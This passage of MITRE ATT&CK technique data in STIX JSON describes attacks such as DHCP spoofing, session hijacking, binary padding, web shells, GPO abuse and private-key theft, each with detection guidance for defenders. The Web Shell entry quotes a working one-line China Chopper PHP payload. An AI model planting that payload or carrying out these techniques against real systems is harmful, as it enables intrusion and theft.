Movement.\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","File: File Modification","File: File Creation"],"x_mitre_effective_permissions":["Administrator","SYSTEM","User"],"x_mitre_permissions_required":["Administrator","User","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","created":"2020-03-13T17:48:58.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/008","external_id":"T1574.008"},{"source_name":"Microsoft Environment Property","description":"Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.","url":"https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft WinExec","description":"Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"},{"source_name":"Windows NT Command Shell","description":"Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.","url":"https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","type":"attack-pattern","created":"2019-04-08T17:51:41.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1491","url":"https://attack.mitre.org/techniques/T1491"}],"modified":"2022-03-25T19:34:42.056Z","name":"Defacement","description":"Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","File: File Creation","Application Log: Application Log Content","File: File Modification"],"x_mitre_impact_type":["Integrity"],"x_mitre_is_subtechnique":false},{"modified":"2023-12-14T16:28:24.680Z","name":"Unused/Unsupported Cloud Regions","description":"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Netskope"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Instance: Instance Creation","Instance: Instance Metadata"],"type":"attack-pattern","id":"attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761","created":"2019-09-04T14:35:04.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1535","external_id":"T1535"},{"source_name":"CloudSploit - Unused AWS Regions","description":"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.","url":"https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:46:04.759Z","name":"DHCP Spoofing","description":"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Alex Spivakovsky, Pentera","Andrew Allen, @whitehat_zero"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","created":"2022-03-24T19:30:56.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1557/003","external_id":"T1557.003"},{"source_name":"rfc2131","description":"Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.","url":"https://datatracker.ietf.org/doc/html/rfc2131"},{"source_name":"new_rogue_DHCP_serv_malware","description":"Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.","url":"https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"},{"source_name":"rfc3315","description":"J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.","url":"https://datatracker.ietf.org/doc/html/rfc3315"},{"source_name":"dhcp_serv_op_events","description":"Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"},{"source_name":"solution_monitor_dhcp_scopes","description":"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"},{"source_name":"w32.tidserv.g","description":"Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.","url":"https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1155","url":"https://attack.mitre.org/techniques/T1155"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/","description":"Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.","source_name":"Macro Malware Targets Macs"}],"modified":"2020-04-14T13:26:00.846Z","name":"AppleScript","description":"macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-02-26T14:21:37.818Z","name":"Remote Service Session Hijacking","description":"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Command: Command Execution","Process: Process Creation","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","created":"2020-02-25T18:26:16.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1563","external_id":"T1563"},{"source_name":"RDP Hijacking Medium","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"},{"source_name":"Breach Post-mortem SSH Hijack","description":"Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.","url":"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:53.857Z","name":"Binary Padding","description":"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Martin Jirkal, ESET"],"x_mitre_detection":"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Signature-based detection"],"type":"attack-pattern","id":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","created":"2020-02-05T14:04:25.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/001","external_id":"T1027.001"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Securelist Malware Tricks April 2017","description":"Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.","url":"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"},{"source_name":"VirusTotal FAQ","description":"VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.","url":"https://www.virustotal.com/en/faq/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"modified":"2024-04-16T12:45:06.434Z","name":"Web Shell","description":"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Arnim Rupp, Deutsche Lufthansa AG"],"x_mitre_deprecated":false,"x_mitre_detection":"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS","Network"],"x_mitre_version":"1.4","x_mitre_data_sources":["Application Log: Application Log Content","Process: Process Creation","File: File Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","created":"2019-12-13T16:46:18.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1505/003","external_id":"T1505.003"},{"source_name":"NSA Cyber Mitigating Web Shells","description":" NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.","url":"https://github.com/nsacyber/Mitigating-Web-Shells"},{"source_name":"volexity_0day_sophos_FW","description":"Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.","url":"https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"},{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T22:11:01.884Z","name":"Group Policy Modification","description":"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Itamar Mizrahi, Cymptom","Tristan Bennett, Seamless Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Active Directory: Active Directory Object Creation","Active Directory: Active Directory Object Modification","Active Directory: Active Directory Object Deletion"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","created":"2020-12-28T21:50:59.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1484/001","external_id":"T1484.001"},{"source_name":"Mandiant M Trends 2016","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"},{"source_name":"ADSecurity GPO Persistence 2016","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.","url":"https://adsecurity.org/?p=2716"},{"source_name":"Microsoft Hacking Team Breach","description":"Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.","url":"https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"},{"source_name":"Wald0 Guide to GPOs","description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.","url":"https://wald0.com/?p=179"},{"source_name":"Harmj0y Abusing GPO Permissions","description":"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"},{"source_name":"Harmj0y SeEnableDelegationPrivilege Right","description":"Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.","url":"https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"},{"source_name":"TechNet Group Policy Basics","description":"srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.","url":"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-16T14:24:40.625Z","name":"Browser Information Discovery","description":"Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Mike Kemmerer","Manikantan Srinivasan, NEC Corporation India","Yinon Engelsman, Talon Cyber Security","Yonatan Gotlib, Talon Cyber Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1217","external_id":"T1217"},{"source_name":"Chrome Roaming Profiles","description":"Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.","url":"https://support.google.com/chrome/a/answer/7349337"},{"source_name":"Kaspersky Autofill","description":"Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.","url":"https://www.kaspersky.com/blog/browser-data-theft/27871/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-04T11:31:56.622Z","name":"Private Keys","description":"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Itzik Kotler, SafeBreach","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access to files 